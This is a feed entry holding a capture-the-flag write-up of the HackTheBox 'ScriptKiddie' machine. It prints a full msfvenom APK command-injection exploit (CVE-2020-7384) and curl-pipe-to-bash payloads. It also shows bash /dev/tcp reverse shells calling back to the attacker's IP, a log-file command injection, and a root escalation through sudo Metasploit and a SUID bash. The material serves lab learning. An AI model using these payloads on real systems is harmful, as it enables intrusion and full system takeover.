<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FScriptKiddie</id>
	<title>Write-ups/HTB/ScriptKiddie - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FScriptKiddie"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/ScriptKiddie&amp;action=history"/>
	<updated>2026-04-21T14:43:44Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/ScriptKiddie&amp;diff=1185&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 19:21, 31 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/ScriptKiddie&amp;diff=1185&amp;oldid=prev"/>
		<updated>2022-01-31T19:21:27Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = ScriptKiddie&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = msfvenom Template Injection&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-126.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Even though the name of this machine implies that we&amp;#039;re going to do something easy, it was the opposite. With a hard enumeration phase, there was also horizontal movement through abusing a scritp &amp;#039;&amp;#039;&amp;#039;pwn&amp;#039;&amp;#039;&amp;#039;&amp;#039;s home directory. After that getting root was abusing the fact that the user pwn could run metasploit as root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB]&lt;br /&gt;
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.226 -oN nmap.ver&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-25 14:19 EST&lt;br /&gt;
Nmap scan report for 10.10.10.226&lt;br /&gt;
Host is up (0.031s latency).&lt;br /&gt;
Not shown: 65533 closed tcp ports (reset)&lt;br /&gt;
PORT     STATE SERVICE VERSION&lt;br /&gt;
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)&lt;br /&gt;
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)&lt;br /&gt;
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)&lt;br /&gt;
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)&lt;br /&gt;
|_http-title: k1d&amp;#039;5 h4ck3r t00l5&lt;br /&gt;
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&lt;br /&gt;
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only two ports open.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Port 22 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;port 5000&amp;#039;&amp;#039;&amp;#039;. Werkzeug httpd, which is a web application, is running on port 5000.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220125202732.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vulnerable msfvenom ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After alot of enumeration, I found that msfvenom running on the web application is vulnerable to command injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md CVE-2020-7384]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
There is a command injection vulnerability in &amp;lt;code&amp;gt;msfvenom&amp;lt;/code&amp;gt; when using a crafted APK file as an Android payload template.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On the website I&amp;#039;ve linked above there is a PoC that I modified to give me a reverse shell on my machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/scriptkiddie]&lt;br /&gt;
└─# cat 49491.py&lt;br /&gt;
# Exploit Title: Metasploit Framework 6.0.11 - msfvenom APK template command injection&lt;br /&gt;
# Exploit Author: Justin Steven&lt;br /&gt;
# Vendor Homepage: https://www.metasploit.com/&lt;br /&gt;
# Software Link: https://www.metasploit.com/&lt;br /&gt;
# Version: Metasploit Framework 6.0.11 and Metasploit Pro 4.18.0&lt;br /&gt;
# CVE : CVE-2020-7384&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import subprocess&lt;br /&gt;
import tempfile&lt;br /&gt;
import os&lt;br /&gt;
from base64 import b64encode&lt;br /&gt;
&lt;br /&gt;
# Change me&lt;br /&gt;
payload = &amp;#039;curl http://10.10.14.17:9000/shell.sh | bash&amp;#039;&lt;br /&gt;
&lt;br /&gt;
# b64encode to avoid badchars (keytool is picky)&lt;br /&gt;
payload_b64 = b64encode(payload.encode()).decode()&lt;br /&gt;
dname = f&amp;quot;CN=&amp;#039;|echo {payload_b64} | base64 -d | sh #&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[+] Manufacturing evil apkfile&amp;quot;)&lt;br /&gt;
print(f&amp;quot;Payload: {payload}&amp;quot;)&lt;br /&gt;
print(f&amp;quot;-dname: {dname}&amp;quot;)&lt;br /&gt;
print()&lt;br /&gt;
&lt;br /&gt;
tmpdir = tempfile.mkdtemp()&lt;br /&gt;
apk_file = os.path.join(tmpdir, &amp;quot;evil.apk&amp;quot;)&lt;br /&gt;
empty_file = os.path.join(tmpdir, &amp;quot;empty&amp;quot;)&lt;br /&gt;
keystore_file = os.path.join(tmpdir, &amp;quot;signing.keystore&amp;quot;)&lt;br /&gt;
storepass = keypass = &amp;quot;password&amp;quot;&lt;br /&gt;
key_alias = &amp;quot;signing.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Touch empty_file&lt;br /&gt;
open(empty_file, &amp;quot;w&amp;quot;).close()&lt;br /&gt;
&lt;br /&gt;
# Create apk_file&lt;br /&gt;
subprocess.check_call([&amp;quot;zip&amp;quot;, &amp;quot;-j&amp;quot;, apk_file, empty_file])&lt;br /&gt;
&lt;br /&gt;
# Generate signing key with malicious -dname&lt;br /&gt;
subprocess.check_call([&amp;quot;keytool&amp;quot;, &amp;quot;-genkey&amp;quot;, &amp;quot;-keystore&amp;quot;, keystore_file, &amp;quot;-alias&amp;quot;, key_alias, &amp;quot;-storepass&amp;quot;, storepass,&lt;br /&gt;
                       &amp;quot;-keypass&amp;quot;, keypass, &amp;quot;-keyalg&amp;quot;, &amp;quot;RSA&amp;quot;, &amp;quot;-keysize&amp;quot;, &amp;quot;2048&amp;quot;, &amp;quot;-dname&amp;quot;, dname])&lt;br /&gt;
&lt;br /&gt;
# Sign APK using our malicious dname&lt;br /&gt;
subprocess.check_call([&amp;quot;jarsigner&amp;quot;, &amp;quot;-sigalg&amp;quot;, &amp;quot;SHA1withRSA&amp;quot;, &amp;quot;-digestalg&amp;quot;, &amp;quot;SHA1&amp;quot;, &amp;quot;-keystore&amp;quot;, keystore_file,&lt;br /&gt;
                       &amp;quot;-storepass&amp;quot;, storepass, &amp;quot;-keypass&amp;quot;, keypass, apk_file, key_alias])&lt;br /&gt;
&lt;br /&gt;
print()&lt;br /&gt;
print(f&amp;quot;[+] Done! apkfile is at {apk_file}&amp;quot;)&lt;br /&gt;
print(f&amp;quot;Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So what this script does is it first encodes the payload with base64 to avoid bad characters. It then creates the apk file, and generate a signing key, which is signs the apk with.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I used the payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
payload = &amp;#039;curl http://10.10.14.17:9000/shell.sh | bash&amp;#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the &amp;#039;&amp;#039;&amp;#039;shell.sh &amp;#039;&amp;#039;&amp;#039;I&amp;#039;ve setup a standard bash TCP reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.17/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I start a http server on port 9000 and generate a payload on the webapplication.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-124.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I see that the shell is downloaded.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/scriptkiddie]&lt;br /&gt;
└─# python3 -m http.server 9000&lt;br /&gt;
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...&lt;br /&gt;
10.10.10.226 - - [31/Jan/2022 13:43:53] &amp;quot;GET /shell.sh HTTP/1.1&amp;quot; 200 -&lt;br /&gt;
10.10.10.226 - - [31/Jan/2022 13:44:28] &amp;quot;GET /shell.sh HTTP/1.1&amp;quot; 200 -&lt;br /&gt;
10.10.10.226 - - [31/Jan/2022 13:45:26] &amp;quot;GET /shell.sh HTTP/1.1&amp;quot; 200 -&lt;br /&gt;
10.10.10.226 - - [31/Jan/2022 13:46:13] &amp;quot;GET /shell.sh HTTP/1.1&amp;quot; 200 -&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And I get a reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# nc -lvnp 4444                                                                                                                                                                        1 ⨯&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.226] 56898&lt;br /&gt;
bash: cannot set terminal process group (861): Inappropriate ioctl for device&lt;br /&gt;
bash: no job control in this shell&lt;br /&gt;
kid@scriptkiddie:~/html$ whoami&lt;br /&gt;
whoami&lt;br /&gt;
kid&lt;br /&gt;
kid@scriptkiddie:~/html$&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as pwn ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In pwn&amp;#039;s home directory there is a script thats called &amp;#039;&amp;#039;&amp;#039;scanlosers.sh. &amp;#039;&amp;#039;&amp;#039;We dont have permission to execute or edit the script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
log=/home/kid/logs/hackers   # variable log = dir/hackers&lt;br /&gt;
&lt;br /&gt;
cd /home/pwn/        # Change dir to /home/pwn&lt;br /&gt;
cat $log | cut -d&amp;#039; &amp;#039; -f3- | sort -u | while read ip; do  # Open hackers, cut delimeter space in field 3 and read IP&lt;br /&gt;
    sh -c &amp;quot;nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2&amp;gt;&amp;amp;1 &amp;gt;/dev/null&amp;quot; &amp;amp; # run the nmap scan against IP, and write error to /dev/null&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
if [[ $(wc -l  $log; fi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ve commented in the script to explains what happenes. So basically what happens is:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Create a varaible &amp;#039;&amp;#039;&amp;#039;log&amp;#039;&amp;#039;&amp;#039; which points to &amp;#039;&amp;#039;&amp;#039;/home/kid/logs/hackers&amp;#039;&amp;#039;&amp;#039;. It &amp;#039;&amp;#039;&amp;#039;cat&amp;#039;&amp;#039;&amp;#039; the file hacker, cut delimeter space in field 3, and reads the IP. It then runs an nmap scan on the IP against the IP and writes error to /dev/null. * Then it deletes everything in hackers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Why is the script there? ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If we analyze the &amp;#039;&amp;#039;&amp;#039;app.py &amp;#039;&amp;#039;&amp;#039;which is located in &amp;#039;&amp;#039;&amp;#039;/html &amp;#039;&amp;#039;&amp;#039;we can see that running searchsploit on the webserver and type anything else than alphanumeric, it will write &amp;#039;&amp;#039;&amp;#039;date &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;time &amp;#039;&amp;#039;&amp;#039;aswell as our IP to the file &amp;#039;&amp;#039;&amp;#039;hackers&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def searchsploit(text, srcip):&lt;br /&gt;
    if regex_alphanum.match(text):&lt;br /&gt;
        result = subprocess.check_output([&amp;#039;searchsploit&amp;#039;, &amp;#039;--color&amp;#039;, text])&lt;br /&gt;
        return render_template(&amp;#039;index.html&amp;#039;, searchsploit=result.decode(&amp;#039;UTF-8&amp;#039;, &amp;#039;ignore&amp;#039;))&lt;br /&gt;
    else:&lt;br /&gt;
        with open(&amp;#039;/home/kid/logs/hackers&amp;#039;, &amp;#039;a&amp;#039;) as f:&lt;br /&gt;
            f.write(f&amp;#039;[{datetime.datetime.now()}] {srcip}\n&amp;#039;)&lt;br /&gt;
        return render_template(&amp;#039;index.html&amp;#039;, sserror=&amp;quot;stop hacking me - well hack you back&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can do a test run. Lets &amp;#039;&amp;#039;&amp;#039;tail -f &amp;#039;&amp;#039;&amp;#039;hackers and type something non alphanumeric in searchsploit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-125.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And in hackers we see.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kid@scriptkiddie:~/logs$ tail -f hackers&lt;br /&gt;
[2022-01-31 19:00:41.199499] 10.10.14.17&lt;br /&gt;
tail: hackers: file truncated&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It removes the input in the end so &amp;#039;&amp;#039;&amp;#039;hackers&amp;#039;&amp;#039;&amp;#039; is empty.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== How to abuse this? ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lets try and run the script on our local machine, and add some random numbers and see what happenes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/scriptkiddie]&lt;br /&gt;
└─# cat test&lt;br /&gt;
123 456 789 101112&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/scriptkiddie]&lt;br /&gt;
└─# cat test| cut -d&amp;#039; &amp;#039; -f3-&lt;br /&gt;
789 101112&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As we explained earlier, it will cat everything after field 3. So to test to see if there is a command injection possibilty I&amp;#039;ll do a ping against my machine. The numbers before the ping command could be anything aslong as there is two spaces there. Because the script will disregard everything before the two spaces.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kid@scriptkiddie:~/logs$ echo &amp;#039;1 2 ;ping 10.10.14.17#&amp;#039; &amp;gt;&amp;gt; hackers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# tcpdump -i tun0&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes&lt;br /&gt;
14:06:41.029136 IP 10.10.14.17.4444 &amp;gt; 10.10.10.226.38940: Flags [P.], seq 2167120262:2167120263, ack 257553598, win 501, options [nop,nop,TS val 1785006364 ecr 2516665146], length 1&lt;br /&gt;
14:06:41.059614 IP 10.10.10.226.38940 &amp;gt; 10.10.14.17.4444: Flags [P.], seq 1:2, ack 1, win 502, options [nop,nop,TS val 2516687586 ecr 1785006364], length 1&lt;br /&gt;
14:06:41.059628 IP 10.10.14.17.4444 &amp;gt; 10.10.10.226.38940: Flags [.], ack 2, win 501, options [nop,nop,TS val 1785006394 ecr 2516687586], length 0&lt;br /&gt;
14:06:41.307286 IP 10.10.14.17.4444 &amp;gt; 10.10.10.226.38940: Flags [P.], seq 1:2, ack 2, win 501, options [nop,nop,TS val 1785006642 ecr 2516687586], length 1&lt;br /&gt;
14:06:41.337537 IP 10.10.10.226.38940 &amp;gt; 10.10.14.17.4444: Flags [P.], seq 2:3, ack 2, win 502, options [nop,nop,TS val 2516687864 ecr 1785006642], length 1&lt;br /&gt;
14:06:41.337552 IP 10.10.14.17.4444 &amp;gt; 10.10.10.226.38940: Flags [.], ack 3, win 501, options [nop,nop,TS val 1785006672 ecr 2516687864], length 0&lt;br /&gt;
14:06:41.384550 IP 10.10.14.17.4444 &amp;gt; 10.10.10.226.38940: Flags [P.], seq 2:3, ack 3, win 501, options [nop,nop,TS val 1785006719 ecr 2516687864], length 1&lt;br /&gt;
14:06:41.414975 IP 10.10.10.226.38940 &amp;gt; 10.10.14.17.4444: Flags [P.], seq 3:4, ack 3, win 502, options [nop,nop,TS val 2516687942 ecr 1785006719], length 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We get a response. So lets try and create a reverse shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/scriptkiddie]&lt;br /&gt;
└─# cat shell.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.17/6666 0&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Second:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/scriptkiddie]&lt;br /&gt;
└─# python3 -m http.server 9001&lt;br /&gt;
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Third:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kid@scriptkiddie:~/logs$ echo &amp;#039;1 2 ;curl 10.10.14.17:9001/shell.sh | bash #&amp;#039; &amp;gt;&amp;gt; hackers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will curl our shell and pipe it bash and then comment out everything after the pipe.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fourth:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/scriptkiddie]&lt;br /&gt;
└─# nc -lvnp 6666                                                                                                                                  148 ⨯ 1 ⚙&lt;br /&gt;
listening on [any] 6666 ...&lt;br /&gt;
&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.226] 45000&lt;br /&gt;
bash: cannot set terminal process group (861): Inappropriate ioctl for device&lt;br /&gt;
bash: no job control in this shell&lt;br /&gt;
pwn@scriptkiddie:~$&lt;br /&gt;
pwn@scriptkiddie:~$ whoami&lt;br /&gt;
whoami&lt;br /&gt;
pwn&lt;br /&gt;
pwn@scriptkiddie:~$&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And we have a connection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can run &amp;#039;&amp;#039;&amp;#039;metasploit &amp;#039;&amp;#039;&amp;#039;as root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pwn@scriptkiddie:/home$ sudo -l&lt;br /&gt;
Matching Defaults entries for pwn on scriptkiddie:&lt;br /&gt;
    env_reset, mail_badpass,&lt;br /&gt;
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin&lt;br /&gt;
&lt;br /&gt;
User pwn may run the following commands on scriptkiddie:&lt;br /&gt;
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So we start &amp;#039;&amp;#039;&amp;#039;metasploit&amp;#039;&amp;#039;&amp;#039; and run whoami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msf6 &amp;gt; whoami&lt;br /&gt;
[*] exec: whoami&lt;br /&gt;
&lt;br /&gt;
root&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Greate, we&amp;#039;re root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To get a shell as root, there are two methods.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Copy bash to tmp, set SUID bit and execute for all the users. When we execute shell with -p it will retain the permissions and give us root shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msf6 &amp;gt; irb&lt;br /&gt;
[*] Starting IRB shell...&lt;br /&gt;
[*] You are in the &amp;quot;framework&amp;quot; object&lt;br /&gt;
&lt;br /&gt;
irb: warn: can&amp;#039;t alias jobs from irb_jobs.&lt;br /&gt;
&amp;gt;&amp;gt; system(&amp;quot;cp /bin/bash /tmp/shell; chmod 4777 /tmp/shell&amp;quot;)&lt;br /&gt;
=&amp;gt; true&lt;br /&gt;
&amp;gt;&amp;gt; exit&lt;br /&gt;
msf6 &amp;gt; exit&lt;br /&gt;
pwn@scriptkiddie:/tmp$ /tmp/shell -p&lt;br /&gt;
shell-5.0# id&lt;br /&gt;
uid=1001(pwn) gid=1001(pwn) euid=0(root) groups=1001(pwn)&lt;br /&gt;
shell-5.0#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Second:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msf6 &amp;gt; irb&lt;br /&gt;
[*] Starting IRB shell...&lt;br /&gt;
[*] You are in the &amp;quot;framework&amp;quot; object&lt;br /&gt;
&lt;br /&gt;
irb: warn: can&amp;#039;t alias jobs from irb_jobs.&lt;br /&gt;
&amp;gt;&amp;gt; system(&amp;quot;bash&amp;quot;)&lt;br /&gt;
root@scriptkiddie:/tmp#&lt;br /&gt;
root@scriptkiddie:/tmp# id&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root)&lt;br /&gt;
root@scriptkiddie:/tmp#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Even though Im not a programmer, understanding basic scritpting and programs is very important. * Running scripts locally to understand what is happening is a great way to test for command injection or other vulnerabilities.* Keeping software updated, like msfvenom would have prevented us from gaining access to the machine&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>